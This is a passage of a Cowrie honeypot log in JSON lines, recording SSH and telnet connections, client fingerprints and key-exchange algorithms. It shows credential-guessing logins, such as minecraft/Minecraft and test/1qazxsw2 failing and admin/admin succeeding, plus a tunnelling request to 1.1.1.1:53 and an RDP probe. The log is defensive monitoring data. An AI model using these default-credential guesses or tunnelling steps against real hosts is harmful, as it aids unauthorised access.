af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:19.938738Z","src_ip":"88.205.172.170","session":"dc4334e50986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"Minecraft","message":"login attempt [minecraft/Minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:20.622764Z","src_ip":"88.205.172.170","session":"dc4334e50986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:21.789771Z","src_ip":"88.205.172.170","session":"dc4334e50986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50362,"dst_ip":"10.17.0.5","dst_port":23,"session":"108d810be43e","protocol":"telnet","message":"New connection: 104.245.105.2:50362 (10.17.0.5:23) [session: 108d810be43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:25.552476Z"}
{"eventid":"cowrie.session.closed","duration":40.469611406326294,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:28.184573Z","src_ip":"20.123.41.163","session":"dfcfdf4adff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50378,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae6ed051b84","protocol":"telnet","message":"New connection: 104.245.105.2:50378 (10.17.0.5:23) [session: 1ae6ed051b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:30.802867Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40242,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0ef7a52b17","protocol":"telnet","message":"New connection: 104.245.105.2:40242 (10.17.0.5:23) [session: 9f0ef7a52b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:32.974464Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35684,"dst_ip":"10.17.0.5","dst_port":23,"session":"812e451985cd","protocol":"telnet","message":"New connection: 20.123.41.163:35684 (10.17.0.5:23) [session: 812e451985cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:33.599199Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40258,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7066b3fc1af","protocol":"telnet","message":"New connection: 104.245.105.2:40258 (10.17.0.5:23) [session: e7066b3fc1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:38.106510Z"}
{"eventid":"cowrie.session.closed","duration":120.00392937660217,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:40.464270Z","src_ip":"49.88.156.34","session":"ce2a94999e97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.019465446472168,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:40.618541Z","src_ip":"20.123.41.163","session":"812e451985cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:41.834109Z","src_ip":"182.253.168.47","session":"93471e31bffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.178.191.112","src_port":38078,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30a910a5494","protocol":"telnet","message":"New connection: 103.178.191.112:38078 (10.17.0.5:23) [session: f30a910a5494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:45.583924Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36294,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6385af54f1","protocol":"telnet","message":"New connection: 20.123.41.163:36294 (10.17.0.5:23) [session: 5c6385af54f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:47.269051Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"675925b59e1f","protocol":"ssh","message":"New connection: 182.253.168.47:58924 (10.17.0.5:22) [session: 675925b59e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:47.304528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:47.309395Z","src_ip":"182.253.168.47","session":"675925b59e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:47.597451Z","src_ip":"182.253.168.47","session":"675925b59e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gittest","message":"login attempt [git/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:50.039792Z","src_ip":"182.253.168.47","session":"675925b59e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:52.315958Z","src_ip":"182.253.168.47","session":"675925b59e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.562129974365234,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:52.831057Z","src_ip":"20.123.41.163","session":"5c6385af54f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905061960220337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:06:56.457301Z","src_ip":"104.245.105.2","session":"108d810be43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.193.189","src_port":51550,"dst_ip":"10.17.0.5","dst_port":23,"session":"27086460e4f6","protocol":"telnet","message":"New connection: 20.65.193.189:51550 (10.17.0.5:23) [session: 27086460e4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:00.334295Z"}
{"eventid":"cowrie.session.closed","duration":15.22640061378479,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:00.810198Z","src_ip":"103.178.191.112","session":"f30a910a5494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71098828315735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:02.513758Z","src_ip":"104.245.105.2","session":"1ae6ed051b84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418227672576904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:04.392569Z","src_ip":"104.245.105.2","session":"9f0ef7a52b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.052595138549805,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:10.386770Z","src_ip":"20.65.193.189","session":"27086460e4f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.288512229919434,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:10.394882Z","src_ip":"104.245.105.2","session":"e7066b3fc1af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.193.189","src_port":37182,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad231e149e8","protocol":"telnet","message":"New connection: 20.65.193.189:37182 (10.17.0.5:23) [session: 7ad231e149e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:10.436389Z"}
{"eventid":"cowrie.session.closed","duration":0.058847904205322266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:10.495136Z","src_ip":"20.65.193.189","session":"7ad231e149e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46668,"dst_ip":"10.17.0.5","dst_port":23,"session":"508ad3e0e242","protocol":"telnet","message":"New connection: 20.123.41.163:46668 (10.17.0.5:23) [session: 508ad3e0e242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:16.932234Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26244,"dst_ip":"10.17.0.5","dst_port":22,"session":"65214fd8fb22","protocol":"ssh","message":"New connection: 87.251.64.176:26244 (10.17.0.5:22) [session: 65214fd8fb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.109858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.114387Z","src_ip":"87.251.64.176","session":"65214fd8fb22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.210571Z","src_ip":"87.251.64.176","session":"65214fd8fb22","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.502022Z","src_ip":"87.251.64.176","session":"65214fd8fb22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.600616Z","session":"65214fd8fb22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.698736Z","src_ip":"87.251.64.176","session":"65214fd8fb22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:23.799763Z","src_ip":"87.251.64.176","session":"65214fd8fb22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43200,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa1f9d23838e","protocol":"telnet","message":"New connection: 20.123.41.163:43200 (10.17.0.5:23) [session: fa1f9d23838e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:27.728100Z"}
{"eventid":"cowrie.session.closed","duration":7.180433750152588,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:34.908401Z","src_ip":"20.123.41.163","session":"fa1f9d23838e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34458,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f8f9e76f83","protocol":"telnet","message":"New connection: 104.245.105.2:34458 (10.17.0.5:23) [session: a0f8f9e76f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:40.025805Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"945a95497f7c","protocol":"telnet","message":"New connection: 20.123.41.163:54494 (10.17.0.5:23) [session: 945a95497f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:45.681995Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54500,"dst_ip":"10.17.0.5","dst_port":23,"session":"10e9addbf1bc","protocol":"telnet","message":"New connection: 20.123.41.163:54500 (10.17.0.5:23) [session: 10e9addbf1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:47.837167Z"}
{"eventid":"cowrie.session.closed","duration":2.915724515914917,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:48.597573Z","src_ip":"20.123.41.163","session":"945a95497f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":47452,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0cbca48aa97","protocol":"ssh","message":"New connection: 182.253.168.47:47452 (10.17.0.5:22) [session: b0cbca48aa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:48.752267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:07:48.758034Z","src_ip":"182.253.168.47","session":"b0cbca48aa97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.06791806221008,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:05.999989Z","src_ip":"20.123.41.163","session":"508ad3e0e242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.110700845718384,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:26.947503Z","src_ip":"20.123.41.163","session":"10e9addbf1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.56633496284485,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:27.591986Z","src_ip":"104.245.105.2","session":"a0f8f9e76f83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60446,"dst_ip":"10.17.0.5","dst_port":23,"session":"909784bac5f1","protocol":"telnet","message":"New connection: 104.245.105.2:60446 (10.17.0.5:23) [session: 909784bac5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:30.393176Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60456,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b79b7f230d","protocol":"telnet","message":"New connection: 104.245.105.2:60456 (10.17.0.5:23) [session: 86b79b7f230d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:35.084100Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":35974,"dst_ip":"10.17.0.5","dst_port":22,"session":"46b0491c4b0b","protocol":"ssh","message":"New connection: 182.253.168.47:35974 (10.17.0.5:22) [session: 46b0491c4b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:47.818805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:47.824840Z","src_ip":"182.253.168.47","session":"46b0491c4b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:48.111285Z","src_ip":"182.253.168.47","session":"46b0491c4b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qazxsw2","message":"login attempt [test/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:49.285136Z","src_ip":"182.253.168.47","session":"46b0491c4b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57692,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f377b8b8ff","protocol":"telnet","message":"New connection: 20.123.41.163:57692 (10.17.0.5:23) [session: e5f377b8b8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:53.852790Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53356,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b15c16e84a","protocol":"telnet","message":"New connection: 104.245.105.2:53356 (10.17.0.5:23) [session: 77b15c16e84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:08:58.894941Z"}
{"eventid":"cowrie.session.closed","duration":31.25301694869995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:01.645881Z","src_ip":"104.245.105.2","session":"909784bac5f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"1066e8292e8f","protocol":"telnet","message":"New connection: 20.123.41.163:58142 (10.17.0.5:23) [session: 1066e8292e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:05.909883Z"}
{"eventid":"cowrie.session.closed","duration":35.6328809261322,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:10.716837Z","src_ip":"104.245.105.2","session":"86b79b7f230d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"1889725da1c4","protocol":"telnet","message":"New connection: 20.123.41.163:58152 (10.17.0.5:23) [session: 1889725da1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:11.112840Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37028,"dst_ip":"10.17.0.5","dst_port":23,"session":"3000fa3bf4b4","protocol":"telnet","message":"New connection: 20.123.41.163:37028 (10.17.0.5:23) [session: 3000fa3bf4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:22.233490Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c5d3fdcff00","protocol":"telnet","message":"New connection: 104.245.105.2:38904 (10.17.0.5:23) [session: 1c5d3fdcff00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:29.364506Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":54878,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cc0da22cc59","protocol":"ssh","message":"New connection: 103.149.252.223:54878 (159.203.135.109:22) [session: 5cc0da22cc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:29.378474Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:29.387901Z","src_ip":"103.149.252.223","session":"5cc0da22cc59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:09:29.392024Z","src_ip":"103.149.252.223","session":"5cc0da22cc59","protocol":"ssh"}
